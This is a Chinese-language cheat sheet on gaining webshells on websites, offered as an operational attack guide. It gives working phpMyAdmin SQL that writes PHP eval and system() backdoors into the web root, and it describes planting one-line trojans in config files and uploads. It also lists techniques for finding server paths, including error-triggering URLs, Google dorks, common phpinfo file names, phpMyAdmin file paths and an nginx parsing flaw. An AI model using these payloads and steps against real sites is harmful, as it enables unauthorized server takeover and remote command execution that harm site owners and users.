获取Webshell方法总结
一、CMS获取Webshell方法
搜索CMS网站程序名称
eg:phpcms拿webshell、wordpress后台拿webshell
二、非CMS获取Webshell方法
2.1数据库备份获取Webshell
网站后台找有无数据库备份功能,把一句话插入到图片里面,再备份数据(asp网站就备份成asp文件)
2.2抓包上传获取Webshell
制作图片马,只把木马伪造后缀上传易失败
2.3Sql命令获取Webshell
2.4模板修改获取Webshell
上传时固定的目录或不可点击的按钮可以尝试在控制台修改代码
2.5插入一句话获取Webshell
查看配置文件,若是php、asp保存的配置文件,可以插入一句话木马(注意配置文件整体语法,例如单引号成对出现等,否则配置文件语法错误,网站崩溃);发布公告等有对话框的部分都可以尝试插入一句话
2.6修改上传类型获取Webshell
三、其它获取Webshell方法
3.1phpmyadmin获取Webshell
方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma
方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
方法三(推荐):
读取文件内容: select load_file('E:/xamp/www/s.php');
写一句话:select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限:select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
方法四:
select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir
方法三难点在找outfile路径,php爆路径方法收集 :
1、单引号爆路径
说明:
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
2、错误参数值爆路径
说明:
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3、Google爆路径
说明:
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
4、测试文件爆路径
说明:
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
5、phpmyadmin爆路径
说明:
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、配置文件找路径
说明:
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
7、nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php
8.其他CMS爆路径方法很多,用时查资料